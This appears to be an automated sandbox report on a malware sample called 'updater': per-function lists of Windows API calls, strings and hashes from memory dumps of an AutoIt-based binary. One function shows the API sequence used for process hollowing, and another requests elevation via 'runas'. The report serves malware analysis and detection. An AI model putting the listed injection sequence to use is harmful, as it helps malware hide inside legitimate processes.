GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00C66D10), ref: 00C00BE9
ShellExecuteW.SHELL32(00000000), ref: 00C00BF0

Part of subcall function 00BC514C: GetSysColorBrush.USER32(0000000F), ref: 00BC5156
Part of subcall function 00BC514C: LoadCursorW.USER32(00000000,00007F00), ref: 00BC5165
Part of subcall function 00BC514C: LoadIconW.USER32(00000063), ref: 00BC517C
Part of subcall function 00BC514C: LoadIconW.USER32(000000A4), ref: 00BC518E
Part of subcall function 00BC514C: LoadIconW.USER32(000000A2), ref: 00BC51A0
Part of subcall function 00BC514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00BC51C6
Part of subcall function 00BC514C: RegisterClassExW.USER32(?), ref: 00BC521C

Part of subcall function 00BC50DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00BC5109
Part of subcall function 00BC50DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00BC512A
Part of subcall function 00BC50DB: ShowWindow.USER32(00000000), ref: 00BC513E
Part of subcall function 00BC50DB: ShowWindow.USER32(00000000), ref: 00BC5147

Part of subcall function 00BC59D3: _memset.LIBCMT ref: 00BC59F9
Part of subcall function 00BC59D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00BC5A9E

Strings

runas, xrefs: 00C00BE4
AutoIt, xrefs: 00C00B23
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00C00B28

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: ae2a8e8173cb158b2a10f15293040521e50b455c1f38c355c9f0a5eaf4cebe87
Instruction ID: 78928df49844fc47e8269fb5c3b255dfbaf5dd51195363d721060bfdf3ba2cd7
Opcode Fuzzy Hash: ae2a8e8173cb158b2a10f15293040521e50b455c1f38c355c9f0a5eaf4cebe87
Instruction Fuzzy Hash: AE51E37094824CEACF21ABB49C45FEE7BB8AB46340F2041EDF565721A3CAB05685CB21

Function 01252427 Relevance: 15.1, APIs: 10, Instructions: 102stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 01252438
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 01252445
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 0125244B
lstrlen.KERNEL32(00000000), ref: 01252476
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 012524CB
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 012524DB
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 01252507
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 01252517
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 01252541
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 01252551

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID:
API String ID: 1599918012-0
Opcode ID: b30b88bd219cbaf4d9da21ce8602e9a1d9637ed92d71513b3b0053543624a1ba
Instruction ID: 70e23023576044524b436f7f3a14f869ad0b3ac41e8e601386e26b09d49efc6f
Opcode Fuzzy Hash: b30b88bd219cbaf4d9da21ce8602e9a1d9637ed92d71513b3b0053543624a1ba
Instruction Fuzzy Hash: 48314571F1424ABEFB69DAECC884FEE77BCAB18300F404191A655E3185D6B89A858B50

Function 00BC5D13 Relevance: 10.7, APIs: 7, Instructions: 223COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00BC5D40

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

GetCurrentProcess.KERNEL32(?,00C40A18,00000000,00000000,?), ref: 00BC5E07
IsWow64Process.KERNEL32(00000000), ref: 00BC5E0E
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00BC5E54
FreeLibrary.KERNEL32(00000000), ref: 00BC5E5F
GetSystemInfo.KERNEL32(00000000), ref: 00BC5E90
GetSystemInfo.KERNEL32(00000000), ref: 00BC5E9C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: fd7351f8076e893456e29c234dba0e0ea9e95eafaed7f9cbba4f304ddd448531
Instruction ID: 8580192d92067429069796fb2337c304b375f22c123a7d4efc9d9a82bf5a7fae
Opcode Fuzzy Hash: fd7351f8076e893456e29c234dba0e0ea9e95eafaed7f9cbba4f304ddd448531
Instruction Fuzzy Hash: F091B831549BC1DEC731CB788450AABFFE5AF36300B984A9ED0D797641D230B688D769

Function 00BB1663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00BB1DD6
GetSysColor.USER32(0000000F), ref: 00BB1E2A
SetBkColor.GDI32(?,00000000), ref: 00BB1E3D

Part of subcall function 00BB166C: DefDlgProcW.USER32(?,00000020,?), ref: 00BB16B4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 2353a5a2d95cb7132f2a640360231e90496e0ffbf6bc59a2d8dfa9f07def8d52
Instruction ID: e60271dedd886acbf3d07835adc929c78865e3055ac6862f16feb781c41aef80
Opcode Fuzzy Hash: 2353a5a2d95cb7132f2a640360231e90496e0ffbf6bc59a2d8dfa9f07def8d52
Instruction Fuzzy Hash: 46A17870119448BBDB2CAB6E8CA9FFF35DDDB42301FA04AA9F402D5191CBA0DD01D276

Function 01254815 Relevance: 6.0, APIs: 4, Instructions: 37timefileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 01254830
FindClose.KERNEL32(00000000,00000000,?), ref: 0125483B
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 01254854
FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 01254865

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: FileTime$Find$CloseDateFirstLocal
String ID:
API String ID: 2659516521-0
Opcode ID: 35532445bcddddf072de4610115932bee76e299e86bdf79fb3123370f2aa134a
Instruction ID: 80d15878041341ba4b78538f644cfcdf98ab5cc8b4e710023f91d82c60dcd6c0
Opcode Fuzzy Hash: 35532445bcddddf072de4610115932bee76e299e86bdf79fb3123370f2aa134a
Instruction Fuzzy Hash: F9F01875D1024DA6CF91EAE98CC4AEFB3AC5F19314F500691AD15E2191EA3497448791

Function 00BBB020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00BC3740: CharUpperBuffW.USER32(?,00C771DC,00000000,?,00000000,00C771DC,?,00BB53A5,?,?,?,?), ref: 00BC375D

_memmove.LIBCMT ref: 00BBB68A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 36c7ab8b46ff8f77de571e69bfb27eb1e0eb1747df010cd73b6eeb46d420aeb3
Instruction ID: f819a735c685a9f4c32f4e56e5d70c4fe4525747d23f4c2acc0b82731134354d
Opcode Fuzzy Hash: 36c7ab8b46ff8f77de571e69bfb27eb1e0eb1747df010cd73b6eeb46d420aeb3
Instruction Fuzzy Hash: BDA259706083419FD724DF18C480BAAB7E1FF84704F14899DE99A9B352DBB1ED49CB92

Function 01263607 Relevance: 1.5, APIs: 1, Instructions: 3libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0126360B

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 74906ca78a5ed234824da2d21b4ef579ad23ae74e18219abc59e4195ec916c3d
Instruction ID: be68be7296445d1d8c9efe5ed17a0ddc0ed5e3a0c0ce8a40cfea562a1559ef80
Opcode Fuzzy Hash: 74906ca78a5ed234824da2d21b4ef579ad23ae74e18219abc59e4195ec916c3d
Instruction Fuzzy Hash: 24A00231445A80DBDE11DB10CB49B09B761FBC0F01F108E64A0464781457785800D941

Function 00BBBC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00BBBF57

Part of subcall function 00BB52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BB52E6

Sleep.KERNEL32(0000000A,?,?), ref: 00BF36B5

Strings

@COM_EVENTOBJ, xrefs: 00BF3D2E
CALL, xrefs: 00BBC277
@GUI_CTRLHANDLE, xrefs: 00BF3816
@TRAY_ID, xrefs: 00BF3FCD
@GUI_CTRLID, xrefs: 00BF376C
@GUI_WINHANDLE, xrefs: 00BF37C1

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: d6534e4865b62728e9e0f91fa460171eab31eb92b840dcd6b6b4067d40cb2296
Instruction ID: 4d6781a9e5104a65085e44048c30f7f0aafb3a08f5b736306306ca3d47924588
Opcode Fuzzy Hash: d6534e4865b62728e9e0f91fa460171eab31eb92b840dcd6b6b4067d40cb2296
Instruction Fuzzy Hash: 56C28D706083459FD724DF24C894BBEBBE4FF84704F14499DE58A972A1DBB1E988CB42

Function 00BB2BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00BB2C8C
GetSystemMetrics.USER32(00000007), ref: 00BB2C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00BB2CBF
GetSystemMetrics.USER32(00000008), ref: 00BB2CC7
GetSystemMetrics.USER32(00000004), ref: 00BB2CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00BB2D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00BB2D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00BB2D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00BB2D60
GetClientRect.USER32(00000000,000000FF), ref: 00BB2D7E
GetStockObject.GDI32(00000011), ref: 00BB2D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00BB2DA5

Part of subcall function 00BB2714: GetCursorPos.USER32(?), ref: 00BB2727
Part of subcall function 00BB2714: ScreenToClient.USER32(00C777B0,?), ref: 00BB2744
Part of subcall function 00BB2714: GetAsyncKeyState.USER32(00000001), ref: 00BB2769
Part of subcall function 00BB2714: GetAsyncKeyState.USER32(00000002), ref: 00BB2777

SetTimer.USER32(00000000,00000000,00000028,00BB13C7), ref: 00BB2DCC

Strings

AutoIt v3 GUI, xrefs: 00BB2D44

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 36c226750d079d549032e5877f42a42b8ca05d8c8e72aca81a65be027e143a43
Instruction ID: c31a366c9ef39aa5ac0542c179074fb3e239230eca41c458599c105705a7e842
Opcode Fuzzy Hash: 36c226750d079d549032e5877f42a42b8ca05d8c8e72aca81a65be027e143a43
Instruction Fuzzy Hash: D7B15B75A4020AAFDB14DFA8CC99BFD7BF4FB08310F204269FA15A7290DB70A851CB55

Function 01267D99 Relevance: 25.0, APIs: 6, Strings: 8, Instructions: 464processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,012683B8), ref: 01267E9E
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,012683B8,00000000,00000000,00000000,00000000,00000000,00000004), ref: 01267EC2
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,012683B8), ref: 01267EF5
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,012683B8,00000000,00000000,00000000,00000000,00000000,00000004), ref: 01267F15
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,012683B8,00000000,00000000,00000000,00000000,00000000,00000004), ref: 01267F47

Part of subcall function 01263A6D: GetTickCount.KERNEL32 ref: 01263AE6

Part of subcall function 01266831: MessageBoxA.USER32(00000000,00000000,01266891,00040040), ref: 01266864

GetTickCount.KERNEL32 ref: 01268380

Strings

NtFreeVirtualMemory, xrefs: 01268340
NtSetContextThread, xrefs: 01268146
NtResumeThread, xrefs: 0126819D
D, xrefs: 01267E4E
execution failure, try to assign other file path, xrefs: 0126823A, 012682D0
NtTerminateProcess, xrefs: 012681EB, 01268282, 01268376
NtGetContextThread, xrefs: 01267F9B
NtUnmapViewOfSection, xrefs: 01267FF7

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CreateProcess$CountTick$Message
String ID: execution failure, try to assign other file path$D$NtFreeVirtualMemory$NtGetContextThread$NtResumeThread$NtSetContextThread$NtTerminateProcess$NtUnmapViewOfSection
API String ID: 2713535555-1661097759
Opcode ID: 25fb15c005ad00b812d0adcb67d052edddd7d53ff0ce3c5cc10618395e82640f
Instruction ID: 92cbf5ba526687a1e0e0bcae29eafa29db0069e6c850d66183093156a7aac5bc
Opcode Fuzzy Hash: 25fb15c005ad00b812d0adcb67d052edddd7d53ff0ce3c5cc10618395e82640f
Instruction Fuzzy Hash: D912DC74A50219AFEB50DBA8CC81FEEBBB8AF18704F144095E614F72D1D774AA84CF61

Function 00BB33E7 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 68windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BB3444
RegisterClassExW.USER32(00000030), ref: 00BB346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BB347F
InitCommonControlsEx.COMCTL32(?), ref: 00BB349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BB34AC
LoadIconW.USER32(000000A9), ref: 00BB34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BB34D1

Strings

TaskbarCreated, xrefs: 00BB3474
0, xrefs: 00BB3426
+, xrefs: 00BB342D
AutoIt v3 GUI, xrefs: 00BB3460

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 6fd062f115f02890811fcd5fa1d07d0420b16833c8c2ae81156102036ef96880
Instruction ID: 84bfaab23f3d4c1a66f137a0dce82e83b1c5019622b9349821ed7cf914fb874a
Opcode Fuzzy Hash: 6fd062f115f02890811fcd5fa1d07d0420b16833c8c2ae81156102036ef96880
Instruction Fuzzy Hash: 593149B5884309EFDB408FA4EC88BCDBBF0FB09310F24455AE694A62A0D7B51581CF91

Function 00BB3411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BB3444
RegisterClassExW.USER32(00000030), ref: 00BB346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BB347F
InitCommonControlsEx.COMCTL32(?), ref: 00BB349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BB34AC
LoadIconW.USER32(000000A9), ref: 00BB34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BB34D1

Strings

TaskbarCreated, xrefs: 00BB3474
0, xrefs: 00BB3426
+, xrefs: 00BB342D
AutoIt v3 GUI, xrefs: 00BB3460

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 5d3b30a80c4d3670f4f295856e243dca306e8b04780951dcdd2a5cdc6eb31b8a
Instruction ID: 5b15a02797aeb374a2dc82e45a7699d72292a2b9a1442a629aedfb23598fc9cf
Opcode Fuzzy Hash: 5d3b30a80c4d3670f4f295856e243dca306e8b04780951dcdd2a5cdc6eb31b8a
Instruction Fuzzy Hash: 8D21E4B599430DAFDB009FA4EC89B9DBBF4FB09700F10421AFA14A62A0D7B15580CF92

Function 0124FA89 Relevance: 18.2, APIs: 9, Strings: 3, Instructions: 151COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000), ref: 0124FADE
CharNextA.USER32(00000000,00000000), ref: 0124FAEA
CharNextA.USER32(00000000,00000000), ref: 0124FB12
CharNextA.USER32(00000000), ref: 0124FB1E
CharNextA.USER32(?,00000000), ref: 0124FB5F
CharNextA.USER32(00000000,?,00000000), ref: 0124FB6B
CharNextA.USER32(00000000,?,00000000), ref: 0124FBA3
CharNextA.USER32(?,00000000), ref: 0124FBAF

Strings

", xrefs: 0124FB94
", xrefs: 0124FB03
, xrefs: 0124FAB1

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CharNext
String ID: $"$"
API String ID: 3213498283-938660540
Opcode ID: 4a4277158661bad59ed7f520321bdf6c52cdd29acf458ec223851d448d85b30f
Instruction ID: c5824fc206b2f5dfc17b8147d003dbc9016dcb656968f606d6044514950ced84
Opcode Fuzzy Hash: 4a4277158661bad59ed7f520321bdf6c52cdd29acf458ec223851d448d85b30f
Instruction Fuzzy Hash: 9D5109B0624282DFE325DFADC594A25BBE5FFAA350F690859E5D1CB301E339AC40CB51

Function 00BC2FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD00CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00BC3094), ref: 00BD00ED

Part of subcall function 00BD08C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00BC309F), ref: 00BD08E3

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00BC30E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00C001BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00C001FB
RegCloseKey.ADVAPI32(?), ref: 00C00239
_wcscat.LIBCMT ref: 00C00292

Strings

Include, xrefs: 00C001B1, 00C001F2
\Include\, xrefs: 00BC309F
Software\AutoIt v3\AutoIt, xrefs: 00BC30D8
\, xrefs: 00C002B5

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 6762989a5047d1c54b215b59057af8aac8cb7ccf1fd8cdfe6a27470d570d0b0a
Instruction ID: ae9bf4be1702cb0e057c6aa86fb0c4eac3d6ff205474866792619161043d7f45
Opcode Fuzzy Hash: 6762989a5047d1c54b215b59057af8aac8cb7ccf1fd8cdfe6a27470d570d0b0a
Instruction Fuzzy Hash: 91718D714493019AC300EF29E849B6FBBE8FF55341F50092EF659D72A2EF309988CB52

Function 00BC514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BC5156
LoadCursorW.USER32(00000000,00007F00), ref: 00BC5165
LoadIconW.USER32(00000063), ref: 00BC517C
LoadIconW.USER32(000000A4), ref: 00BC518E
LoadIconW.USER32(000000A2), ref: 00BC51A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00BC51C6
RegisterClassExW.USER32(?), ref: 00BC521C

Part of subcall function 00BB3411: GetSysColorBrush.USER32(0000000F), ref: 00BB3444
Part of subcall function 00BB3411: RegisterClassExW.USER32(00000030), ref: 00BB346E
Part of subcall function 00BB3411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BB347F
Part of subcall function 00BB3411: InitCommonControlsEx.COMCTL32(?), ref: 00BB349C
Part of subcall function 00BB3411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BB34AC
Part of subcall function 00BB3411: LoadIconW.USER32(000000A9), ref: 00BB34C2
Part of subcall function 00BB3411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BB34D1

Strings

#, xrefs: 00BC5201
AutoIt v3, xrefs: 00BC520B
0, xrefs: 00BC51FA

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
